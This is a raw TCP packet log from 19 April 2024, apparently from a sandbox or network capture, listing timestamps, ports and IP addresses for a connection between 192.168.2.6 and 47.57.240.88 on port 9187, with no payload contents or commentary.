Apr 19, 2024 01:33:07.896318913 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.954730988 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.954797029 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.954842091 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.954863071 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.955028057 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955070019 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955100060 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.955108881 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955148935 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955187082 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955192089 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.955226898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955265045 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.955265999 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955306053 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955319881 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:07.955346107 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955387115 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:07.955440044 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.005541086 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.116890907 CEST	443	49706	173.222.162.64	192.168.2.6
Apr 19, 2024 01:33:08.117206097 CEST	49706	443	192.168.2.6	173.222.162.64
Apr 19, 2024 01:33:08.154871941 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.154941082 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.154985905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155011892 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.155028105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155067921 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155073881 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.155107975 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155147076 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155157089 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.155186892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155225039 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155246019 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.155265093 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155303001 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155318975 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.155343056 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155385017 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.155411959 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.208767891 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.354979038 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355046034 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355087042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355108976 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.355128050 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355166912 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355206013 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355243921 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355243921 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.355258942 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.355283976 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355325937 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355365038 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355401993 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355436087 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.355441093 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355452061 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.355487108 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.355583906 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.554996014 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555061102 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555099964 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555104017 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.555140972 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555192947 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555196047 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.555233955 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555273056 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555273056 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.555315018 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555380106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555416107 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.555418968 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555459023 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555469990 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.555497885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555536985 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.555577993 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.755017042 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755088091 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755125999 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755136967 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.755170107 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755209923 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755244970 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.755249023 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755290031 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755326986 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.755331039 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755373001 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.755381107 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.802412033 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.888257980 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888322115 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888371944 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.888380051 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888420105 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888458967 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888468981 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.888499022 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888540983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888581038 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888597965 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.888619900 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888631105 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.888660908 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888700008 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888708115 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.888741016 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888781071 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:08.888794899 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:08.943034887 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.088469028 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088532925 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088572979 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088612080 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088627100 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.088665009 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088685989 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.088704109 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.088710070 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088751078 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088762999 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.088793039 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088835001 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088855028 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.088874102 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088912964 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088943005 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.088952065 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.088992119 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.089004993 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.130536079 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.288950920 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.288981915 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.289000034 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.289020061 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.289037943 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.289041996 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.289063931 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.289074898 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.289083958 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.289108992 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.289113045 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.289129019 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.289154053 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.333662987 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.421567917 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.421633959 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.421673059 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.421732903 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.421819925 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.757496119 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.757575035 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.757612944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.757638931 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.757652998 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.757690907 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.757711887 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.757733107 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.757770061 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.757884026 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.856645107 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.856724977 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.856764078 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.856803894 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.856848001 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.856853962 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.856853962 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.856899977 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.856940031 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.856978893 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.856987953 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.857017040 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.857057095 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.857058048 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.857095957 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.857134104 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.857135057 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.857175112 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:09.857213020 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:09.911868095 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.056727886 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.056791067 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.056833029 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.056869030 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.056876898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.056919098 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.056948900 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.056958914 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.056998014 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.057039976 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.057077885 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.057105064 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.057105064 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.057117939 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.057157040 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.057185888 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.057195902 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.057236910 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.057262897 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.099347115 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.256727934 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256755114 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256772995 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256791115 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256808996 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.256812096 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256830931 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.256831884 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256851912 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256869078 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256887913 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256906986 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256925106 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256942987 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256942987 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.256942987 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.256963015 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.256989956 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.256989956 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.302448034 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.456973076 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457036972 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457077026 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457107067 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.457118034 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457160950 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457200050 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457238913 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457243919 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.457243919 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.457283974 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457323074 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457345009 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.457360983 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457401037 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457439899 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457479954 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.457483053 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.457518101 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.505680084 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.656840086 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.656918049 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.656956911 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.656996012 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.657001019 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.657035112 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.657043934 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.657073975 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.657111883 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.657150030 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.657155991 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.657188892 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.657232046 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.708669901 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.791848898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.791917086 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.791956902 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.791996002 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792012930 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.792038918 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792068005 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.792079926 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792148113 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792186975 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792197943 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.792227030 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792233944 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.792267084 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792305946 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792320013 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.792346001 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792385101 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.792433023 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.990375996 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990407944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990431070 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990454912 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990458965 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.990478992 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990504980 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990505934 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.990530968 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990556002 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990577936 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990581989 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.990601063 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990624905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990634918 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.990649939 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990657091 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:10.990677118 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:10.990731001 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.190934896 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.190970898 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.190999031 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.191024065 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.191059113 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.191068888 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.191087008 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.191113949 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.191113949 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.191143036 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.191143990 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.191169024 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.191190958 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.239917994 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.323314905 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.323368073 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.323406935 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.323441982 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.323617935 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.659333944 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.659392118 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.659430027 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.659435034 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.659492970 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.659528971 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.659543991 CEST	49717	9187	192.168.2.6	47.57.240.88
Apr 19, 2024 01:33:11.659567118 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.659606934 CEST	9187	49717	47.57.240.88	192.168.2.6
Apr 19, 2024 01:33:11.659647942 CEST	49717	9187	192.168.2.6	47.57.240.88
